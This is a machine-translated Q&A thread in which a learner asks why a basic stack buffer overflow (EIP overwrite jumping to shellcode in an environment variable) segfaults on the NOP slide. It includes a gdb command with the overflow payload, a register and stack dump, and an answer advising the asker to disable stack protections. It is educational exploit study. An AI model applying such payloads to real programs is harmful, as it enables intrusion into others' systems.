3

基本的なバッファ オーバーフローを試します。スタックに保存されている EIP を上書きし、アドレスにジャンプします。このアドレスは、私のシェルコードを含むシェル変数を指しています。

しかし、gdb では、nopslide の最初の nop で sigserv をプログラムします。

次のコマンドのようにプログラムを起動します。

gdb-peda$ r $(python -c 'print "A"*22 + "\x5f\xb8\xff\xff"')

私はこのトレースを持っています:

[----------------------------------registers-----------------------------------]
EAX: 0x1a 
EBX: 0xf7fc3ff4 --> 0x15dd7c 
ECX: 0xffffaf38 --> 0xf7fc44e0 --> 0xfbad2a84 
EDX: 0xf7fc5360 --> 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0x41414141 ('AAAA')
ESP: 0xffffaf80 --> 0xffffb100 --> 0xc ('\x0c')
EIP: 0xffffb85f --> 0x90909090
EFLAGS: 0x10296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0xffffb85c:  nop
   0xffffb85d:  nop
   0xffffb85e:  nop
=> 0xffffb85f:  nop
   0xffffb860:  nop
   0xffffb861:  nop
   0xffffb862:  nop
   0xffffb863:  nop
[------------------------------------stack-------------------------------------]
0000| 0xffffaf80 --> 0xffffb100 --> 0xc ('\x0c')
0004| 0xffffaf84 --> 0xf7fef060 (push   ebp)
0008| 0xffffaf88 --> 0x80484bb (<__libc_csu_init+11>:   add    ebx,0x1219)
0012| 0xffffaf8c --> 0xf7fc3ff4 --> 0x15dd7c 
0016| 0xffffaf90 --> 0x80484b0 (<__libc_csu_init>:  push   ebp)
0020| 0xffffaf94 --> 0x0 
0024| 0xffffaf98 --> 0xffffb018 --> 0x0 
0028| 0xffffaf9c --> 0xf7e7ce46 (<__libc_start_main+230>:   mov    DWORD PTR [esp],eax)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0xffffb85f in ?? ()
gdb-peda$ x/i $eip
=> 0xffffb85f:  nop

私はdebian wheezyで実行しています.gccバージョンはgcc(Debian 4.7.2-4)4.7.2、gdbバージョン7.4.1-debianです。

この gcc バージョンの新しい保護はありますか? または他の考え?

ありがとうございます。(私の英語でごめんなさい:))

4

1 に答える 1

1

次のいずれかの手順に従って、スタック保護を削除できます。

学生向けのバッファ オーバーフローの図 (Linux、C)

于 2013-01-07T22:40:35.717 に答える